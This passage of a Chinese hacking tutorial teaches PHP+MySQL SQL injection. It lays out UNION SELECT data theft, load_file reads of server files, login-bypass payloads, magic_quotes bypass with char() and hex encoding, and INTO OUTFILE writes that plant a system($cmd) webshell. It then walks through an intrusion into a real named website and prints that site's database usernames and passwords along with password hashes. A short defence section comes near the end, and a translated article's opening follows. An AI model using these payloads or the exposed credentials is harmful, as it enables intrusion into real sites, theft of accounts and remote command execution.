当我们输入一个不存在的id的时候
例如id=0，或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图（4）
我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈，终于显示不一样了，可是这有什么用呢？
先不告诉你。
我们讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图5
http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图6
下面我们用一幅图来总结一下union的用法如图7
Ok，知道怎么利用了不？不知道的话下面将会详细告诉你。
2）LOAD_FILE
这个功能太强大了，这也是林.linx在上一个专题中提到的方法。虽然说过了，可我也不得不再提出来。
Load_file可以返回文件的内容，记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入
mysql> select load_file('c:/boot.ini');
效果如图（8）
可是我们在网页中怎么搞呢？
我们可以结合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc')
,4,5,6,7,8,9,10,11
这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦，：P
看仔细图9中的
看看，文件内容暴露无疑。
我们为什么要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3字段呢？我们前面提到列类型一共有那么三种，而原来图7中显示3
的地方应该是显示文章内容，应该是字符型的，而load_file('c:/apache/htdocs/site/lib/sql.inc')也一定是字符型的，所以我们猜测放在
3字段可以顺利显示。
其实还有很多好的利用方法，继续往下看哦！
3) select * from table into outfile'file.txt'
有啥用哩？
作用就是把表的内容写入文件，知道有多重要了吧，我们写个webshell吧，哈哈。
当然我们不只是导出表，我们还可以导出其它东西的哦，往下看啦。
假设有如下表
#
# 数据表的结构 `test`
#
CREATE TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的数据库内容 `test`
#
INSERT INTO test VALUES ('<?php system($cmd); ?>', NULL);
已知我的网站路径在C:/apache/htdocs/site/
好，看你表演哦，输入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20
outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表里的a列内容导出到cmd.phpzhong
看看cmd.php里的内容先
1 2 <?php system($cmd); ?> 0000-00-00 00:00:00 5 6 7 8 9 10 11
我们执行一下看看先
http://localhost/site/cmd.php?cmd=dir
如图(10)

哈哈，果然很爽哦！
4）下面给大家讲述LOAD DATA INFILE的故事
LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name
LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入，所以作用不是很大。
这里举个例子来说说
表test的结构和上面介绍的一样
#
# 数据表的结构 `test`
#
CREATE TABLE test (
a text,
b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

我们在mysql命令行下输入：
Mysql>load data infile 'c:/cmd.php' into table test
其中c:/cmd.php内容为
<?php system($cmd); ?>
注意：上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中
所得结果如图（11）
实际上得到的就是上个例子test表中的内容！看看，再结合into outfile，是不是一个完美的组合呢。
基本的语法就将到这里了，可能还有很多重要的东西漏掉了哦，你可以去php中文手册里淘金，相信你一定会找到很多好东西的，自己挖掘吧。
（随光盘我们付上一个php中文手册）
B:从注入方式上
主要有数字型，字符型和搜索类
1. 数字型
很常见了，我们上面举的就一直是字符型的例子，大家应该还都记得asp下如何破管理员密码，下面我们来看一下php下如何实现
我们在地址栏输入：
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判断是否存在alphaauthor，如果有返回正常页面（一般情况啦，有的时候也返回其它什么的，这主要根据构造1＝1 和1＝2时的页面判断）
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判断是否username字段的长度为5
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20
and%20length(password)=32)
跟上面差不多啦，判断password字段的长度
下面进入猜密码的阶段，用ascii方法来一位一位猜测吧。Ascii等同于asp下的asc，哈哈，经常看黑客X档案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
用户名第一位哦ascii97就是字符a啦
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)
第二位啦，这里只放这一个图啦，如图（12）

下面省略X条。
反正我们最后是得出用户名和密码了。
我们会发现这里的注入方法几乎和asp下的注入是一样的，就是把asc变成ascii，把len变成length就可以了，最后我们就可以得到后台的管理员账号和密码，
当然我们有更简单的方法，可以直接用union的方法直接得到
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如图（13）
账号是alpha，密码是一长串的东东，哈哈，简单明了，看到没有，这里显示出了union select的强大威力了吧。
上面讲的是在不通的表里面猜测内容，如果在同一个表里面我们还可以像下面这样哩：
下面的一段代码根据用户id显示用户信息
<?php
//user.php
………..
$sql = "SELECT * FROM user WHERE id=$id";
…………
if (!$result)
{
echo "wrong";
exit;
}
else
echo "用户信息";
?>
猜测方法和上面几乎是一样的，就是我们不用再用select了。
我们输入
http://localhost/user.php?id=1 and length(password)=7
显示用户信息说明我们猜的正确，呵呵，comeon
http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密码
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦，
通过这种方法最终我们也可以得出id=1的用户的账号密码
2. 下面我们来看看字符型的注入方式
在asp中字符型的注入方式很灵活，在php中字符型的注入就主要在
magic_quotes_gpc＝Off的情况下进行了。（除非有另外一种情况，先不告诉你）
例如：
<?php
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>
这样id就变成字符型的了。
不知道大家发现没有，假如我们这样写程序的话，安全性会有所提高的哦
呵呵，继续了
好我们检验是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
带入到sql语句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’
如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23转化以后就是#，即注释的意思，上面说过了哦
这样的话就不用考虑那个引号的闭合问题了，实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我们想要的哦！
看看效果吧，
http://localhost/site/display.php?id=451' and 1=1 %23
图（14）
正常显示了呓！
http://localhost/site/display.php?id=451' and 1=2 %23
图（15）

显示不正常，哈哈，说明问题存在
我们继续哦：
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20
alphaauthor%23
看图（16）
Ok,用户名和密码又出来了哦！
3. 大家一起来看看搜索型注入吧
搜索型的语句一般这样写
<?php
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>
不知道大家还是否记得asp里的注入呢？
不过不记得也没有关系的啦，我们看吧。
我们构建注入语句吧
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了
select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦
怎么样，出来了吧，哈哈，一切尽在掌握之中。
C：下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
<?php
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”；
exit；
｝
………
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢？
最经典的还是那个：
在用户名和密码框里都输入
‘or’’=’
带入sql语句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
这样带入得到的$data肯定为真，也就是我们成功登陆了。
还有其他的绕过方法，原理是一样的，就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’
2.
用户名和密码都输入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用户名和密码都输入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’
3.
用户名输入’or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or 1＝1 # and Password=’anything’
后面部分被注释掉了，当然返回还是真哦。
4.
假设admin的id＝1的话你也可以
用户名输入’or id＝1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or id＝1 # and Password=’anything’
如图18
看看效果图19

怎么样？直接登陆了哦！
俗话说的好，只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。
2）第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀，而且涉及了数字型，字符型等等，这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入漏洞，代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,
6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图20
看看，我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处，把username放在5字段处了，我们上面已经提过了哦，就是我们猜测3和5段显示的应该是字符串型，
而与我们要显示的username和password的字段类型应该相同，所以我们这样放了哦。
为什么要用18个字段呢？不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同，我们可以通过
增加select的个数来猜测到需要18个字段，只有这样union select的内容才会正常显示哦！
3)其它如资料修改，用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到，因为不是很常用，这里就不再阐述，在下面将会提到一些关于update和insert的高级利用技巧。
二：下面将要进入magic_quotes_gpc＝On时候的注入攻击教学环节了
当magic_quotes_gpc＝On的时候，交的变量中所有的 ' (单引号),
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
这就使字符型注入的方法化为泡影，这时候我们就只能注入数字型且没有
Intval()处理的情况了，数字型的我们已经讲了很多了是吧，由于数字型没有用到单引号自然就没有绕过的问题了，对于这种情况我们直接注入就可以了。
1）假如是字符型的就必须得像下面这个样子，没有在字符上加引号 。

这里我们要用到一些字符串处理函数先，
字符串处理函数有很多，这里我们主要讲下面的几个，具体可以参照mysql中文参考手册7.4.10。

char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符，这样也可以的，方法就是在16进制前面加0x，看下面的例子就明白了。
<?php
//login.php
……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?>
假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
（我们将在光盘中提供16进制和ascii转换工具）
好了直接在浏览器里输入：
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成：
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21
正如我们期望的那样，他顺利执行了，我们得到我们想要的。
当然咯，我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成：
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧，
或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于’alpha’
注意是alpha上加引号，表示alpha字符串。
我们知道在mysql中如果执行
mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
mysql> select * from dl_users where username='alpha';
这样才是正确的。
如果你把#号也放到那里去了，就成了’alpha#’
带入sql语句中
select * from dl_users where username='alpha#';
当然是什么也没有了，因为连alpha#这个用户都没有。
好，下面我们再来看个例子，
<?php
//display.php
……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?>
代码根据类型来显示内容，$type没有任何过滤，且没有加引号放入程序中。
假设type中含有xiaohua类，xiaohua的char()转换后是
char(120,105,97,111,104,117,97)
我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,
9,10,11 from alphaauthor
带入sql语句中为：
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看，我们的用户名和密码照样出来了哦！没有截图，想像一下咯：P
2) 或许有人会问，在magic_quotes_gpc＝On的情况下功能强大的load_file()还能不能用呢？
这正是我们下面要将的问题了，load_file()的使用格式是load_file(‘文件路径’)
我们发现只要把‘文件路径’转化成char()就可以了。试试看哦
load_file(‘c:/boot.ini’)转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22
放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,
105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图23
看看，我们看到了boot.ini的内容了哦。
很可惜的是into outfile’’ 不能绕过，不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….（先卖个关子，下面会告诉你）
三：一些注入技巧，很多都是个人发现哦
1.union select的技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。
第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型，可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24
看看软件描述里写着3，作者里写着4，我们就可以猜测3和4的位置是字符型的，我们再看14前面的是下载次数，这就应该是int型的了，对吧。
好了，我们根据这里来构建吧，估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,
15,16,17,18%20from%20dl_users
如图25
哈哈，这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如：
'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为：0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file
(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如图26
发现在文章内容的地方本来该显示sql.inc.php的，可是却空空之，为何呢？
我们看看网页的源代码先
图27
哈哈，看看标记的地方，晕死，原来在这里啊，可是为什么哩？
原来html中< >用于标注，哈哈，明白了吧！下次可得记得在哪里找哦。
4. md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了，我们也来搞一搞吧，我们比他更爽，不用计算，哈哈。
md5我们是有办法绕过的，但是并不是哪里都可以，php中的md5函数就不能绕过，因为你输入的所有东西都在里面，根本跑不出。可以绕过的是sql语句
中的md5。当然别的sql中的函数也是可以绕过的，道理相同哦。
看例子先：
<?php
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>
我们直接在浏览器提交
http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符，因为后面有or 1=2，所以我们随便放了个char(97,98). Ok，登陆成功了哦！看看，md5在我们面前也没有什么用处。
5. 核心技术，利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell，这应该是大家都很想的吧，下面就教给你。
这里假设你已经知道了网站所在的物理路径，我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1）适用于magic_quotes_gpc＝Off
假设我们可以上传图片，或者txt，zip，等其它东西，我们把我们的木马改成
jpg后缀的，上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为 <?php system($cmd) ?>
好，我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file
('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile，所以网页显示不正常，但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29
爽否？Webshell我们已经创建成功了。看到最前面的12了没？那就是我们select 1，2所输出的！
2）下面再讲一个适用于magic_quotes_gpc＝On的时候保存webshell的方法哦，显然肯定也能用在于magic_quotes_gpc＝Off的时候啦。
我们直接读他的配置文件，用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,
load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php内容为
<?$connect=@mysql_connect("localhost","root","") or die("Unable to connect to SQL server");mysql_select_db("alpha",$connect)
or die("Unable to select database");?>
好了我们知道了mysql的root密码了，我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下：
#
# 数据表的结构 `te`
#
CREATE TABLE te (
cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES ('<?php system($cmd) ?>');
Ok，是我们用select * from table into outfile’’的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31
Ok，成功执行，我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32
好爽的一个webshell是吧！哈哈，我也很喜欢。
不过不知道大家有没有发现我们是在magic_quotes_gpc＝On的情况下完成这项工作的，竟然在phpmyadmin里可以不用考虑引号的限制，
哈哈，说明什么？说明phpmyadmin太伟大了，这也就是我们在谈magic_quotes_gpc＝On绕过时所卖的那个关子啦！
6.发现没有我们还可以利用update和insert来插入我们的数据，然后来得到我们的webshell哦，还用上面的那个例子，
<?php
//reg.php
……
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
我们在email的地方输入<?php system($cmd) ?>
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20
where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了，我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊，哈哈，今天我将要教大家一个好方法，通过这个方法来实现变相的跨库查询，方法就是通过
load_file来直接读出mysql中data文件夹下的文件内容，从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下mysql的data文件夹下的结构
Data文件夹下有按数据库名生成的文件夹，文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件，例如
Mysql中有alpha数据库，在alpha库中有alphaauthor和alphadb两个表，
Alpha文件夹内容如下图33
其中alphadb.frm放着lphadb表中的数据，alphadb.frm放着表的结构，alphadb.myi中放的内容随mysql的版本不通会有所不同，具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个数据库yminfo210存在，且存在表user，user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下，load_file默认所在的目录是mysql下的data目录，所以我们用
load_file('yminfo210/user.myd')，当然load_file('.info210/user.myd')也是一样的，注意的是into outfile的默认路径是在所在的数据库文件夹下。
结果如图34
我们看读出来的内容
舼��? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer
http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?�? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com
sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423
虽然乱码一堆，但是我们还是可以看出用户名是admin，密码是698d51a19d8a121ce581499d7b701668，后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库，下面的例子中也会提到哦！
说了这么多下面我们来具体的使用一次，这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有漏洞？我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35
http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36
好，我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37
注意看图中没有显示程序名，而且还附带了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578
晕了，网站路径出来了，那可就死定了哦！
我们继续，直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38
好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39
看看简介处显示为12，我们可以猜测此处应该为字符型！
Ok，我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看源代码，至于为什么用，我们后面将讲到
显示出它的源代码
如图40
因为在show.php中有一句
<META HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'>
如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西，应该放这配置文件，ok继续
d:/web/heibai/down/include/config.inc.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,
101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,
105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
显示结果如图41
里面内容主要有
…………………..
ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序
// ------------------------- -------- ------------------------- //
// 常规设置 //
// ------------------------- -------- ------------------------- //
// 数据库信息
$dbhost = "localhost"; //
        数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988";
        // 数据库密码
$dbname = "download"; // 数据库名
// Cookie 名称
$cookie_name = "heibai";
// 版本号
$version = "1.0.1";
// 数据表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
晕原来用的是夜猫的下载系统，而且我们知道了
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
说不定呆会有用哦。
用的表名是默认的表名，我们知道夜猫的管理员密码放在ymdown_user中
我们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8
,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
结果如图42
根据提示我们知道文件大小处的是username，应用平台处的是password（对照图36）
即username=dload，password＝6558428，夜猫的后台默认在admin目录下，我试验了很久都没有找到，晕之。
想直接连接mysql，发现telnet端口并没有开放。我们去看看别的吧！
http://www.heibai.net/vip/article/login.php
看起来像是会员的登陆哦，我们看看先
d:/web/heibai/vip/article/login.php
转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110
,46,112,104,112)),13,14,15,16,17,18,19
结果如图43：
其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
当然了，我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
转成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,
100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,
47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
结果如图44
显示了很多好东西哦
$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
表还是默认的表，而且出来了root的密码
要是能连上它的mysql该多好啊，那样我们就可以into outfile了
痛苦的找了找phpmyadmin，没有找见，或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555，痛苦中，我们看看能不能搞几个会员账号
猜测会员账号放在user表中，我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
结果如图45：
晕了，竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
结果如图46
晕了，表结构都在，而且读Article/user.myi时也成功，可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc＝Off我们还可以into outfile来看看，可是……
郁闷中，测试就这样结束吧，下面的工作还是留给你们来完成吧！
文中所述问题已经通知星坤了！
四：php＋mysql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法，这里我就主要讲一下php+mysql注射攻击的防范方法。
大家看到，在magic_quotes_gpc＝On的时候，很多的注射攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes（）函数等同于magic_quotes_gpc＝On，而且与magic_quotes_gpc＝On也不冲突，我们可以这样过滤
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
对于id型我们可以利用intval()函数，intval()函数可以将变量转换成整数类型，这样就可以了。
我们可以这样
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢？
我们可以先用addslashes()过滤一下，然后再过滤”%”和”_”.
例如：
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
记得，可千万别在magic_quotes_gpc＝On的情况下替换\为\\,如下：
$password=str_replace("\\","\\\\",$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题（在光盘中有收录）。
还有的就是登陆的地方，如果是只用一个管理员管理的话，我们可以直接对username和passwd用md5加密，这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后台登陆就是这样子的哦。
后记：
本文就讲这么多了，注入是一门灵活的技术，有很多技术还在继续发展中，有任何问题和意见可以到炎黄兵团(www.cnwill.com)来找我，也欢迎对文中内容批评指正。为便于大家学习本文所用到的文章系统也将随光盘附送。


如何对PHP程序中的常见漏洞进行攻击
by Shaun Clowes
Translated by analysist
http://www.china4lert.org/
之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。
由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。
文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。
好了，废话少说，我们言归正传！
【全局变量】
